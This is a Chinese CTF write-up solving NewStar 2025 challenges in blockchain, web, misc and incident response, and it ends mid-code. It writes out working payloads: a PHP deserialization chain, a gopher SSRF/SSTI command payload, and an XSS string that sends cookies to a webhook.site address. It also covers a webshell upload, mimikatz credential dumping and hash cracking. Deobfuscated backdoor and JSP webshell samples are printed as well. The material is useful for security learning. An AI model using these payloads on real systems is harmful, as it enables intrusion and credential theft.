合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行
第一次接触区块链类型的题目,详细记录一下
题目给了合约地址和合约代码,合约部署在 Sepolia 测试网上,先用区块链浏览器 https://etherscan.io/ 看一下合约情况,注意需要先切换到测试链 Sepolia Testnet,再搜索合约地址,否则搜不到
确定合约状态正常,我们先来分析一下题目给出的合约代码:
代码逻辑其实很简单,调用 unlock(uint256 _password),并传入正确的密码 0x0721,再调用 getFlag(),就能拿到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleVault { string private flag = "flag{fake_flag}"; uint256 private password = 0x0721; // 使用映射来记录每个地址的解锁状态 mapping(address => bool) public unlocked; function unlock(uint256 _password) external { // 检查当前调用者是否已经解锁,如果已经解锁,则无需再次操作 require(!unlocked[msg.sender], "Already unlocked!"); if (_password == password) { // 只修改当前调用者(msg.sender)的解锁状态 unlocked[msg.sender] = true; } } function getFlag() external view returns (string memory) { // 检查当前调用者是否已解锁 require(unlocked[msg.sender], "Vault is locked. Unlock it first!"); return flag; } }
然后就开始配置环境了,首先准备 MetaMask 钱包和 Sepolia 测试币
打开小狐狸钱包,查看自己的钱包地址,钱包地址是 0xF7c8197e39C4Ac94310592678F427B14F0018147
切换到 Sepolia 测试网络 : 在 网络 ->显示测试网络中选择 Sepolia
后面部署合约需要钱包里有 Sepolia ETH,找的一些方法都是需要钱包里至少有 0.01 Sepolia ETH,后面 AI 给了一种方法,使用自己的电脑进行工作量证明(挖矿好像),挖一会暂停就可以拿到一些币了
有了测试币,我们就可以部署合约进行交互了,使用 Remix - Ethereum IDE 部署合约代码并交互,步骤如下:
侧边栏点击 Solidity Compiler,选择和合约一致的版本 0.8.0,然后 Compile 一下
侧边栏点击 Deploy & Run Transactions,Environment 选择 Injected Provider - MetaMask,弹出一个 MetaMask 钱包的链接,确认之后即可连接到自己的钱包
然后在 At Address 中填入题目给出的合约地址,之后再点击一下 At Address,又会弹出一个窗口消耗测试币部署合约,确认即可
部署成功后,打开下面的窗口,在 unlock(_password) 函数中输入 0x0721 的十进制数 1825,点击交易,交易完成后再调用 getFlag() 函数,即可成功拿到 flag
1 flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t}
混乱的网站 查看网页源代码,发现 function.js 里的内容有点奇怪
写脚本分析一下,发现代码尝试访问 window['js_very_good'],flag1:js_very_good
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import base64import urllib.parseAij_cmYht1 = [ 'aHR0cHM6Ly9uZXdzdGFyLmdhbWUv' , 'aHR0cHM6Ly9uZXdzdGFyLmdhbWVkLw==' , 'aHR0cHM6Ly9uZXdzdGFyLmdhbWVzLw==' , 'aHR0cHM6Ly9uZXdzdGFyLmdhbmVzLw==' , 'aHR0cHM6Ly9uZXdzdGFyLmdhbmVzLw==' ] lot2 = [ 'ZmFja19mbGFnXw==' , 'ZmxhZ19mYWNrXw==' , 'anNfdmVyeV9nb29k' , 'anNfZmN1aw==' , 'aG93X2Fib3V0X2pz' ] def b64decode_safe (s ): """安全解码 Base64,自动处理 URL 编码""" try : decoded = base64.b64decode(s).decode('utf-8' ) return urllib.parse.unquote(decoded) except Exception as e: return f"[Decode Error: {e} ]" def pick (arr, index ): """模拟 JS 中的 _pick 函数""" pos = (index * 7 + 3 ) % len (arr) return arr[pos] if __name__ == "__main__" : url_b64 = pick(Aij_cmYht1, 2 ) prop_b64 = pick(lot2, 2 ) url = b64decode_safe(url_b64) prop = b64decode_safe(prop_b64) print ("🔍 解密结果:" ) print (f"🔗 跳转 URL: {url} " ) print (f"📦 尝试访问的属性: window['{prop} ']" )
然后使用 dirsearch 扫描目录发现备份文件 www.zip
在 dashboard.php 里发现一段 php 脚本,如下:
1 2 <?php eval (gzinflate (base64_decode ('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8=' ))); ?>
把 eval 改成 print 即可,输出一段经过混淆的代码
1 $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$O00O0O=$O00OO0{3 }.$O00OO0{6 }.$O00OO0{33 }.$O00OO0{30 };$O0OO00=$O00OO0{33 }.$O00OO0{10 }.$O00OO0{24 }.$O00OO0{10 }.$O00OO0{24 };$OO0O00=$O0OO00{0 }.$O00OO0{18 }.$O00OO0{3 }.$O0OO00{0 }.$O0OO00{1 }.$O00OO0{24 };$OO0000=$O00OO0{7 }.$O00OO0{13 };$O00O0O.=$O00OO0{22 }.$O00OO0{36 }.$O00OO0{29 }.$O00OO0{26 }.$O00OO0{30 }.$O00OO0{32 }.$O00OO0{35 }.$O00OO0{26 }.$O00OO0{30 };eval ($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=" )); ?>
手工一步一步解混淆,步骤如下:首先手工格式化一下,在分号处换行方便查看,然后将每个变量都 echo 一下,都是一些函数,将这些难看的变量名用这些函数表示,发现最后执行的是 base64_decode() 函数,解码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $O00OO0 = urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$base64_decode = $O00OO0 [3 ] . $O00OO0 [6 ] . $O00OO0 [33 ] . $O00OO0 [30 ];echo $base64_decode ;echo "\n" ;$strtr = $O00OO0 [33 ] . $O00OO0 [10 ] . $O00OO0 [24 ] . $O00OO0 [10 ] . $O00OO0 [24 ];echo $strtr ;echo "\n" ;$substr = $strtr [0 ] . $O00OO0 [18 ] . $O00OO0 [3 ] . $strtr [0 ] . $strtr [1 ] . $O00OO0 [24 ];echo $substr ;echo "\n" ;$_52 = $O00OO0 [7 ] . $O00OO0 [13 ];echo $_52 ;echo "\n" ;$base64_decode = $O00OO0 [22 ] . $O00OO0 [36 ] . $O00OO0 [29 ] . $O00OO0 [26 ] . $O00OO0 [30 ] . $O00OO0 [32 ] . $O00OO0 [35 ] . $O00OO0 [26 ] . $O00OO0 [30 ];echo $base64_decode ;eval ($base64_decode ("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=" ));
将那串 base64 解码,再稍微格式化一下,如下:
1 2 3 4 5 6 7 8 9 $O0O000 = "OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq==" ;eval ('?>' . $O00O0O ( $O0OO00 ( $OO0O00 ( $O0O000 , $OO0000 * 2 ), $OO0O00 ($O0O000 , $OO0000 , $OO0000 ), $OO0O00 ($O0O000 , 0 , $OO0000 ) ) ) );
再把这些变量名用刚刚解出来的函数名替换一下,再把 eval 换成 echo,即可成功解密,得到一个木马文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ignore_user_abort (true );set_time_limit (0 );$file = './backdoor.php' ;$hack = 'I hack you!' ;while (1 ){ if (!file_exists ($file )) { file_put_contents ($file ,$hack .$code ); } usleep (5000 ); } ?>
flag2 的 md5 是 87c298a56e0caa355872ab47db11e06c,用 cmd5 解密一下,flag2:ns2025
1 flag{js_very_good_ns2025}
初识应急响应(复现) 当时做的时候密码没爆破出来,然后时间不够就没再尝试了,赛后复现一下这个(
欢迎来到第四周。在前三周的挑战中,你已经掌握了基础的日志分析、流量分析、osint能力,请挑战者们集中所有力量,打开这扇应急响应大门吧! 城邦的图片托管服务平台遭受到恶意攻击,请挑战中们协助临时工清理处置,完成报告。 用户名:Administrator 密码:Newst@r flag{木马连接密码_创建账号工具发布时间(年-月-日)_影子用户密码} 【难度:中等】
关闭病毒与威胁防护,在回收站中找到木马文件,剪切到桌面,打开即可看到木马连接密码
接着翻找文件,在用户目录下有个 CreateHiddenAccount_v0.2.exe 文件,功能是创建隐藏用户
运行该工具,发现是 github 的一个项目,给出了项目地址,搜一下即可得到创建账号工具发布时间 2022-01-18
最后需要找到影子用户密码,我们先往受害者主机里传一个 mimikatz,依次运行如下命令即可得到密码 hash
1 2 3 privilege::debug token::elevate lsadump::sam
得到了密码 hash 7e5c358b43a26bddec105574bee24eef,使用 hashcat 爆破六位大小写字母加数字,即可得到隐藏账户密码
1 hashcat -m 1000 -a 3 hash.txt -1 ?l?u?d ?1?1?1?1?1?1
1 flag{rebeyond_2022-01-18_Ns2025}
Web 武功秘籍 题目提示这道题是一个 CVE漏洞,搜索 dcrcms cve,找到一篇文章 【漏洞复现-dcrCms-文件上传】vulfocus/dcrcms-cnvd_2020_27175 - overfit.cn ,按照文章操作即可
首先访问 /dcr/login.htm 进入后台,弱口令 admin/admin 登陆,然后随便添加一个新闻类
添加好新闻类之后,再添加新闻,然后在上传缩略图的地方上传一个一句话木马,修改文件类型为Content-Type: image/jpeg,重放一下发现成功上传
在文件管理器 /uploads/news/2025_10_24 目录下找到刚刚上传的木马
直接拼接路径,蚁剑连接即可得到 flag
小羊走迷宫 一道常规的反序列化题,考察的就是魔术方法的运用,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "flag.php" ;error_reporting (0 );class startPoint { public $direction ; function __wakeup ( ) { echo "gogogo出发咯 " ; $way = $this ->direction; return $way (); } } class Treasure { protected $door ; protected $chest ; function __get ($arg ) { echo "拿到钥匙咯,开门! " ; $this -> door -> open (); } function __toString ( ) { echo "小羊真可爱! " ; return $this -> chest -> key; } } class SaySomething { public $sth ; function __invoke ( ) { echo "说点什么呢 " ; return "说: " .$this ->sth; } } class endPoint { private $path ; function __call ($arg1 ,$arg2 ) { echo "到达终点!现在尝试获取flag吧" ."<br>" ; echo file_get_contents ($this ->path); } } if ($_GET ["ma_ze.path" ]){ unserialize (base64_decode ($_GET ["ma_ze.path" ])); }else { echo "这个变量名有点奇怪,要怎么传参呢?" ; } ?>
链子如下:__wakeup()->__invoke()->__toString()->__get()->__call()
首先反序列化触发 __wakeup() 魔术方法,将 $this->direction 赋值为 SaySomething 对象,调用时触发 __invoke() 魔术方法;将 $this->sth 赋值为 Treasure 对象,触发 __toString() 魔术方法;将 $this -> chest -> key 里的 chest 参数赋值为 Treasure 对象,触发 __get() 魔术方法;将 $this -> door -> open() 里的 door 参数赋值为 endPoint 对象,调用不存在的方法时触发 __call() 魔术方法,将 $path 修改为 php://filter/read=convert.base64-encode/resource=flag.php 即可得到一条完整的利用链
注意 php7.1+ 版本以上 可以直接修改访问修饰符为 public,不影响代码执行,最后得到的序列化链子需要 base64 编码,传参的变量名需要把 第一个下划线改为 [
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class startPoint { public $direction ; } class Treasure { public $door ; public $chest ; } class SaySomething { public $sth ; } class endPoint { public $path ="php://filter/read=convert.base64-encode/resource=flag.php" ; } $payload = new startPoint ();$payload ->direction = new SaySomething ();$payload ->direction->sth = new Treasure ();$payload ->direction->sth->chest = new Treasure ();$payload ->direction->sth->chest->door = new endPoint ();echo base64_encode (serialize ($payload ));
传参后,base64 解码即可得到 flag
ssti在哪里? 根据给出的源码可以分析出本题存在 ssrf+ssti 漏洞,可以利用该漏洞执行任意命令
index.php 接收用户提交的 URL,后端使用 curl 访问该 URL,并返回响应内容。可以访问内网地址
internal_web.py 用 render_template_string(template) 渲染用户传入的 template,存在 SSTI 漏洞
先构造一个 POST 数据包,利用 SSTI 漏洞执行 env 命令,将构造的数据包进行二次编码
1 2 3 4 5 6 POST / HTTP/1.1 Host: localhost:5001 Content-Type: application/x-www-form-urlencoded Content-Length: 76 template={{config.__class__.__init__.__globals__['os'].popen('env').read()}}
利用 gopher 协议传输构造好的数据包,利用 SSRF 漏洞访问本地 5001 端口的 SSTI 漏洞服务,执行命令得到 flag
1 gopher://127.0.0.1:5001/_POST%2520/%2520HTTP/1.1%250D%250AHost:%2520localhost:5001%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252076%250D%250A%250D%250Atemplate=%257B%257Bconfig.__class__.__init__.__globals__%255B'os'%255D.popen('env').read()%257D%257D
小E的留言板 考察 XSS 漏洞,flag 在管理员的 cookie 里
首先注册一个账户,在留言板随便输入 123,看一下所在标签情况,在 <input> 标签的 value 属性中
1 <input type ="text" name ="message" placeholder ="输入您的留言..." value ="123" style ="width: 100%; background: transparent; border: none; padding: 0; font-size: 16px;" >
测试了一下,发现标签闭合字符 > 和 < 都被过滤了,有一些关键字也被过滤了,但是可以使用双写绕过
先闭合 value 的那个双引号,然后写入在 input 标签中可以自动触发的语句,成功弹窗
1 " autofofocuscus oonnfofocuscus=" alert (1 )
然后我们需要构造语句提交到管理员界面,让管理员访问,利用 Webhook.site - Test, transform and automate Web requests and emails 平台接收 cookie 值
重新注册个账户否则会一直弹窗,输入如下语句,点击更新留言,webhook.site 平台就能接收到我们自己的 cookie 值,然后将留言报告给小E,即可得到 flag
1 " autofofocuscus oonnfofocuscus="fetch('https://webhook.site/fb7e9e3a-64a2-485b-9827-feaf3112bbde?cookie='+document.cookie)
Week5 Misc 应急响应-把你mikumiku掉-1
请问攻击者使用的漏洞编号是?flag{漏洞编号}
首先按照题目配置文档配置好网络环境,把 NAT 模式的 子网 IP 换成 192.168.100.0
看一下自动分配的 IP,用其他终端管理工具连接
ssh 连上之后,首先看登陆用户 newstar 目录下的文件,发现 .bash_history 中用户启动了一个 tomcat 服务
在它给出的目录路径下找到 tomcat 的配置信息,在 /opt/tomcat 下
题目问的 CVE 漏洞,那就一个一个看,找符合利用条件的 CVE,这篇文章 CVE-2025-24813 RCE复现 - FreeBuf网络安全行业门户 里给出的利用条件都完美符合
conf 目录中的 context.xml 里有如下配置
conf 目录中的 web.xml里 readonly 为 false
同时我们可以自己访问环境尝试利用,具体过程就不多说了,最终是利用成功了,存在 CVE-2025-24813 漏洞
应急响应-把你mikumiku掉-3
被加密文件里面的内容是什么?
虽然我们权限很低,很多目录都没有权限查看,但是我们可以使用 sudo+命令 来查看文件、目录之类的
在 /home/mikuu/ 目录下找到加密的 flag 文件 flag.miku 和加密程序 mikumikud,不能直接下载,我们使用 base64 命令读这两个文件防止出现乱码和文件缺失的问题
接下来该逆向加密程序了,base64 解码后保存为 mikumikud,使用 IDA 打开,分析发现这是一个 AES 算法,给出了 key 和 iv,逆向算法解密即可
解密脚本如下,解密即可得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport base64key = bytes .fromhex('123456789ABCDEF01122334455667788' ) iv = bytes .fromhex('19198101145140EFFEDCBA9876543210' ) encrypted_b64 = "GRmBARRRQO/+3LqYdlQyEIzVEiNIExZiDE8jt7sKESBIsPb4OJu+MbLCRkh5BHUs" encrypted_data = base64.b64decode(encrypted_b64) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) flag = unpad(decrypted, 16 ) print (flag)
1 flag{Miku_miku_oo_ee_oo}
应急响应-把你mikumiku掉-2
flag{木马连接密码_恶意用户密码}
tips:用户密码是六位特定范围内的字母构成
第一题中我们已经找到了攻击者利用的漏洞,CVE-2025-24813,攻击者利用该漏洞在 /tomcat/work/Catalina/ROOT 下写文件,但是我们仍然没有权限查看,还是用 sudo+命令 来查看文件和目录
有几个疑似木马的文件,还是使用第三题的方法把这几个文件都读取出来
1 sudo base64 Catalina/localhost/ROOT/org/apache/jsp/mikuu_jsp.java
将读取到的内容 base64 解码,保存为 mikuu_jsp.java,内容如下:
可以看到是接收了 miiikuuu 参数执行命令,所以木马连接密码就是 miiikuuu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 package org.apache.jsp;import javax.servlet.*;import javax.servlet.http.*;import javax.servlet.jsp.*;public final class mikuu_jsp extends org .apache.jasper.runtime.HttpJspBase implements org .apache.jasper.runtime.JspSourceDependent, org.apache.jasper.runtime.JspSourceImports { class U extends ClassLoader { U(ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } } public byte [] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder" ); return (byte []) clazz.getMethod("decodeBuffer" , String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64" ); Object decoder = clazz.getMethod("getDecoder" ).invoke(null ); return (byte []) decoder.getClass().getMethod("decode" , String.class).invoke(decoder, str); } } private static final javax.servlet.jsp.JspFactory _jspxFactory = javax.servlet.jsp.JspFactory.getDefaultFactory(); private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants; private static final java.util.Set<java.lang.String> _jspx_imports_packages; private static final java.util.Set<java.lang.String> _jspx_imports_classes; static { _jspx_imports_packages = new java .util.LinkedHashSet<>(4 ); _jspx_imports_packages.add("javax.servlet" ); _jspx_imports_packages.add("javax.servlet.http" ); _jspx_imports_packages.add("javax.servlet.jsp" ); _jspx_imports_classes = null ; } private volatile javax.el.ExpressionFactory _el_expressionfactory; private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager; public java.util.Map<java.lang.String,java.lang.Long> getDependants() { return _jspx_dependants; } public java.util.Set<java.lang.String> getPackageImports() { return _jspx_imports_packages; } public java.util.Set<java.lang.String> getClassImports() { return _jspx_imports_classes; } public javax.el.ExpressionFactory _jsp_getExpressionFactory () { if (_el_expressionfactory == null ) { synchronized (this ) { if (_el_expressionfactory == null ) { _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory(); } } } return _el_expressionfactory; } public org.apache.tomcat.InstanceManager _jsp_getInstanceManager () { if (_jsp_instancemanager == null ) { synchronized (this ) { if (_jsp_instancemanager == null ) { _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig()); } } } return _jsp_instancemanager; } public void _jspInit () { } public void _jspDestroy () { } public void _jspService (final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response) throws java.io.IOException, javax.servlet.ServletException { if (!javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) { final java.lang.String _jspx_method = request.getMethod(); if ("OPTIONS" .equals(_jspx_method)) { response.setHeader("Allow" ,"GET, HEAD, POST, OPTIONS" ); return ; } if (!"GET" .equals(_jspx_method) && !"POST" .equals(_jspx_method) && !"HEAD" .equals(_jspx_method)) { response.setHeader("Allow" ,"GET, HEAD, POST, OPTIONS" ); response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS" ); return ; } } final javax.servlet.jsp.PageContext pageContext; javax.servlet.http.HttpSession session = null ; final javax.servlet.ServletContext application; final javax.servlet.ServletConfig config; javax.servlet.jsp.JspWriter out = null ; final java.lang.Object page = this ; javax.servlet.jsp.JspWriter _jspx_out = null ; javax.servlet.jsp.PageContext _jspx_page_context = null ; try { response.setContentType("text/html" ); pageContext = _jspxFactory.getPageContext(this , request, response, null , true , 8192 , true ); _jspx_page_context = pageContext; application = pageContext.getServletContext(); config = pageContext.getServletConfig(); session = pageContext.getSession(); out = pageContext.getOut(); _jspx_out = out; out.write(' ' ); out.write(' ' ); String cls = request.getParameter("miiikuuu" ); if (cls != null ) { new U (this .getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } out.write('\n' ); } catch (java.lang.Throwable t) { if (!(t instanceof javax.servlet.jsp.SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0 ) try { if (response.isCommitted()) { out.flush(); } else { out.clearBuffer(); } } catch (java.io.IOException e) {} if (_jspx_page_context != null ) _jspx_page_context.handlePageException(t); else throw new ServletException (t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
然后我们需要爆破 mikuu 账户的密码了,先 sudo cat /etc/shadow 读一下密码文件
mikuu 的密码 hash 如下,保存为 hash.txt
1 $y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8
linux 的密码 hash 以 $y$ 这种格式的,加密方式是 yescrypt,根据提示,密码 6 位,且为特定几个字母,根据题目的各种暗示,密码是由 miku 这几个字母构成(如果要爆破 6 位全小写字母可能要几天,太慢了),AI 给出具体爆破命令
1 john --mask='[miku]' --min-length=6 --max-length=6 --format=crypt hash.txt
这里由于已经爆破过了,所以需要使用 john --show --format=crypt hash.txt 命令查看破解情况,成功找到密码 miiiku
区块链-INTbug 首先分析一下合约的逻辑,代码如下:
合约主要逻辑是:用户通过 addPoints 获取积分,通过 usePoints 消费积分。关键目标是让 unlocked[msg.sender] = true 来获取 flag。
合约存在整数溢出漏洞,主要漏洞在 usePoints() 函数中,Solidity 0.8.0+ 默认会检查算术溢出,但 unchecked 块内关闭了检查;初始状态下新用户 userSpentPoints 为 0,首次使用时会被设为 1000;contract.usePoints(1001) 花费超过1000点,触发下溢;下溢后的值是一个极大的数,条件 userSpentPoints[msg.sender] > 1000 成立,用户被解锁;调用 contract.getFlag() 即可得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleOverflowVault { string private flag = "flag{fake_fake_fake}"; mapping(address => bool) public unlocked; mapping(address => uint256) public userPoints; uint256 public totalPoints; mapping(address => uint256) private userSpentPoints; event PointsAdded(address indexed user, uint256 points); event PointsUsed(address indexed user, uint256 points); constructor() { totalPoints = 0; userSpentPoints[msg.sender] = 1000; } function addPoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] += points; totalPoints += points; emit PointsAdded(msg.sender, points); } function usePoints(uint256 points) external { require(points > 0, "Points must be greater than 0"); require(userPoints[msg.sender] >= points, "Insufficient points"); if (userSpentPoints[msg.sender] == 0) { userSpentPoints[msg.sender] = 1000; } userPoints[msg.sender] -= points; unchecked { totalPoints -= points; userSpentPoints[msg.sender] -= points; } if (userSpentPoints[msg.sender] > 1000) { unlocked[msg.sender] = true; } emit PointsUsed(msg.sender, points); } function getFlag() external view returns (string memory) { require(unlocked[msg.sender], "Vault is locked. Trigger integer underflow first!"); return flag; } function 